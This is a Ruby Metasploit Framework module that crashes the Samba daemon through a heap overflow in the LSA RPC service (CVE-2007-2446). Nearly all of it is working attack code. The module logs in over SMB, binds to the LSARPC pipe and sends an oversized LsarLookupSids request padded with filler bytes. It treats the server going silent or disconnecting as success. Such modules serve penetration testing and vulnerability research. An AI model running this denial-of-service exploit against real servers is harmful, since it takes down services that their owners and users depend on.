##
# $Id: lsa_transnames_heap.rb 7045 2009-09-20 19:49:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Auxiliary::Dos	

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
			'Description'    => %q{
				This module triggers a heap overflow in the LSA RPC service
			of the Samba daemon.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7045 $',
			'References'     =>
				[
					['CVE', '2007-2446'],
				]
			))
			
		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
			], self.class)
						
	end

	def run
	
		pipe = datastore['SMBPIPE'].downcase
				
		print_status("Connecting to the SMB service...")
		connect()
		smb_login()

		datastore['DCERPC::fake_bind_multi'] = false

		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		stub = lsa_open_policy(dcerpc)
		stub << NDR.long(0)
		stub << NDR.long(0)
		stub << NDR.long(1)
		stub << NDR.long(0x20004)
		stub << NDR.long(0x100)
		stub << ("X" * 16) * 0x100
		stub << NDR.long(1)
		stub << NDR.long(0)

		print_status("Calling the vulnerable function...")

		begin
			# LsarLookupSids
			dcerpc.call(0x0f, stub)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, ::EOFError
			print_good('Server did not respond, this is expected')
		rescue => e
			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
				print_good('Server disconnected, this is expected')
			else
				raise e
			end
		end
		
		dcerpc.call(0x0f, stub)
		
		disconnect	
	end

end
